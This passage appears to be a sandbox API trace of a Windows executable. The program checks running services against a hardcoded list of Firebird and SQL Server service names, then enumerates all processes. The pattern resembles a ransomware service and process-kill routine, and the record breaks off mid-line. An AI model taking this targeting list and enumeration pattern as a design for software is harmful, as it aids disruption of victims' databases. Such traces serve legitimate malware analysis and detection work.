lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0082.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0082.369] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0082.369] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0082.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0082.369] lstrlenW (lpString="SamSs") returned 5 [0082.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0082.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0082.369] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0082.369] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0082.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0082.369] lstrlenW (lpString="Schedule") returned 8 [0082.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0082.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0082.369] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0082.369] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0082.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0082.369] lstrlenW (lpString="SecurityHealthService") returned 21 [0082.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0082.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0082.369] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0082.369] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0082.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0082.370] lstrlenW (lpString="SENS") returned 4 [0082.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0082.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0082.370] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0082.370] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0082.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0082.370] lstrlenW (lpString="ShellHWDetection") returned 16 [0082.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0082.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0082.370] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0082.370] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0082.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0082.370] lstrlenW (lpString="Spooler") returned 7 [0082.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0082.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0082.370] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0082.370] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0082.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0082.370] lstrlenW (lpString="SSDPSRV") returned 7 [0082.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0082.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0082.370] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0082.370] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0082.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0082.370] lstrlenW (lpString="StateRepository") returned 15 [0082.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0082.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0082.370] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0082.370] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0082.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0082.370] lstrlenW (lpString="SysMain") returned 7 [0082.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0082.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0082.371] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0082.371] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0082.371] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4c0dc0 | out: hHeap=0x440000) returned 1 [0082.371] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x31c [0084.023] Process32FirstW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0084.023] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0084.024] lstrlenW (lpString="System") returned 6 [0084.024] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0084.024] lstrlenW (lpString="smss.exe") returned 8 [0084.024] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0084.025] lstrlenW (lpString="csrss.exe") returned 9 [0084.025] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0084.026] lstrlenW (lpString="wininit.exe") returned 11 [0084.026] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0084.027] lstrlenW (lpString="csrss.exe") returned 9 [0084.027] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0084.027] lstrlenW (lpString="winlogon.exe") returned 12 [0084.027] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0084.028] lstrlenW (lpString="services.exe") returned 12 [0084.028] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0084.029] lstrlenW (lpString="lsass.exe") returned 9 [0084.029] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0084.029] lstrlenW (lpString="svchost.exe") returned 11 [0084.029] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0084.030] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0084.030] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0084.031] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0084.031] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0084.031] lstrlenW (lpString="svchost.exe") returned 11 [0084.031] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0084.032] lstrlenW (lpString="dwm.exe") returned 7 [0084.032] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0084.033] lstrlenW (lpString="svchost.exe") returned 11 [0084.033] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0084.033] lstrlenW (lpString="svchost.exe") returned 11 [0084.033] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0084.034] lstrlenW (lpString="svchost.exe") returned 11 [0084.034] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0084.035] lstrlenW (lpString="svchost.exe") returned 11 [0084.035] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0084.036] lstrlenW (lpString="svchost.exe") returned 11 [0084.036] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0084.036] lstrlenW (lpString="svchost.exe") returned 11 [0084.036] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0084.037] lstrlenW (lpString="svchost.exe") returned 11 [0084.037] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0084.038] lstrlenW (lpString="svchost.exe") returned 11 [0084.038] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0084.354] lstrlenW (lpString="svchost.exe") returned 11 [0084.354] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0084.355] lstrlenW (lpString="spoolsv.exe") returned 11 [0084.355] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0084.355] lstrlenW (lpString="svchost.exe") returned 11 [0084.355] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0084.356] lstrlenW (lpString="svchost.exe") returned 11 [0084.357] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0084.357] lstrlenW (lpString="audiodg.exe") returned 11 [0084.357] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0084.358] lstrlenW (lpString="sihost.exe") returned 10 [0084.358] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0084.358] lstrlenW (lpString="svchost.exe") returned 11 [0084.358] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0084.359] lstrlenW (lpString="taskhostw.exe") returned 13 [0084.359] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0084.359] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0084.359] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0084.360] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0084.360] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0084.360] lstrlenW (lpString="explorer.exe") returned 12 [0084.360] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0084.361] lstrlenW (lpString="Memory Compression") returned 18 [0084.361] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0084.361] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0084.361] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0084.362] lstrlenW (lpString="SearchUI.exe") returned 12 [0084.362] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0084.362] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0084.362] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0084.363] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0084.363] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0084.364] lstrlenW (lpString="taskhostw.exe") returned 13 [0084.364] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0084.364] lstrlenW (lpString="UsoClient.exe") returned 13 [0084.364] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0084.365] lstrlenW (lpString="taskhostw.exe") returned 13 [0084.365] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0084.365] lstrlenW (lpString="msoia.exe") returned 9 [0084.365] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0084.366] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0084.366] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0084.366] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0084.367] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0084.367] lstrlenW (lpString="msoia.exe") returned 9 [0084.367] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0084.367] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0084.368] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering.exe")) returned 1 [0084.368] lstrlenW (lpString="entering.exe") returned 12 [0084.368] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="measurement nut d.exe")) returned 1 [0084.369] lstrlenW (lpString="measurement nut d.exe") returned 21 [0084.369] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="ai element.exe")) returned 1 [0084.369] lstrlenW (lpString="ai element.exe") returned 14 [0084.369] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="divorce_mode_twelve.exe")) returned 1 [0084.370] lstrlenW (lpString="divorce_mode_twelve.exe") returned 23 [0084.370] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="clicking.exe")) returned 1 [0084.370] lstrlenW (lpString="clicking.exe") returned 12 [0084.370] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pack.exe")) returned 1 [0084.371] lstrlenW (lpString="pack.exe") returned 8 [0084.371] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="try-gtk.exe")) returned 1 [0084.372] lstrlenW (lpString="try-gtk.exe") returned 11 [0084.372] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="counseling tmp.exe")) returned 1 [0084.372] lstrlenW (lpString="counseling tmp.exe") returned 18 [0084.372] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="radius_johnston_transmission.exe")) returned 1 [0084.373] lstrlenW (lpString="radius_johnston_transmission.exe") returned 32 [0084.373] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="j-portions-folders.exe")) returned 1 [0084.373] lstrlenW (lpString="j-portions-folders.exe") returned 22 [0084.373] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="samuel-clubs.exe")) returned 1 [0084.374] lstrlenW (lpString="samuel-clubs.exe") returned 16 [0084.374] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="gaps_industrial.exe")) returned 1 [0084.374] lstrlenW (lpString="gaps_industrial.exe") returned 19 [0084.374] Process32NextW (in: hSnapshot=0x31c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, 